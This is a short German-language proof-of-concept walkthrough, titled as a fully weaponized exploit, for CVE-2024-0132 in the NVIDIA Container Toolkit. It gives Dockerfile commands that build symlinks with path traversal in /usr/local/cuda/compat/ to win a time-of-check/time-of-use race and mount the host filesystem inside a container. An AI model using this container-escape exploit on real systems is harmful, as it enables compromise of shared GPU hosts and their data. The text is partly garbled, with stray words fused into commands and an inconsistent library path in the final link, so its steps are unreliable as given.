
CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit
CVE-2024-0132 PoC
Beginnen wir mit der Entscheidung für ein Basis-Image. Die Anordnung der Bibliotheken im System hängt davon ab, welches verwendet wird. Zum Beispiel ist es bei alpine /usr/lib64/, bei ubuntu ist es /usr/lib/x86_64-linux-gnu. Wir verwenden ubuntu als Basis-Image.
FROM ubuntu
Das nvidia Container-Toolkit überprüft die Bibliotheken in /usr/local/cuda/compat/ im Container und mountet sie dann in das Hauptbibliotheksverzeichnis, was für dieses Image (ubuntu) /usr/lib/x86_64-linux-gnu wäre.
Links werden ebenfalls gemountet, sodass Sie jede Datei und jedes Verzeichnis aus dem Image nach /usr/lib/x86_64-linux-gnu mounten können. Dabei wird überprüft, dass der Link innerhalb des Containers aufgelöst wird; es kann kein mehrfaches ../ für Pfad-Traversal verwendet werden. Dies kann jedoch umgangen werden, indem der In-Container-Mount über /usr/local/cuda/compat/ zweimal verwendet wird, daher TOCTOU.
Lesen Sie mehr über den Mechanismus zum Mounten von /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
Erstellen Sie zwei Verzeichnisse:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
Der Name libdxcore.so wurde gewählt, um Filter zu erfüllen. Die Hauptversion (1337) muss sich von der tatsächlichen Treiberversion unterscheiden.
Erstellen Sie zwei Links in /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ durch /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs nach /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Während der Überprüfung handelt es sich um eine normale Datei, aber zum Zeitpunkt des Mountens ist es ein Link, der in /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs war, wodurch das Host-Dateisystem in /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/ gemountet wird.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2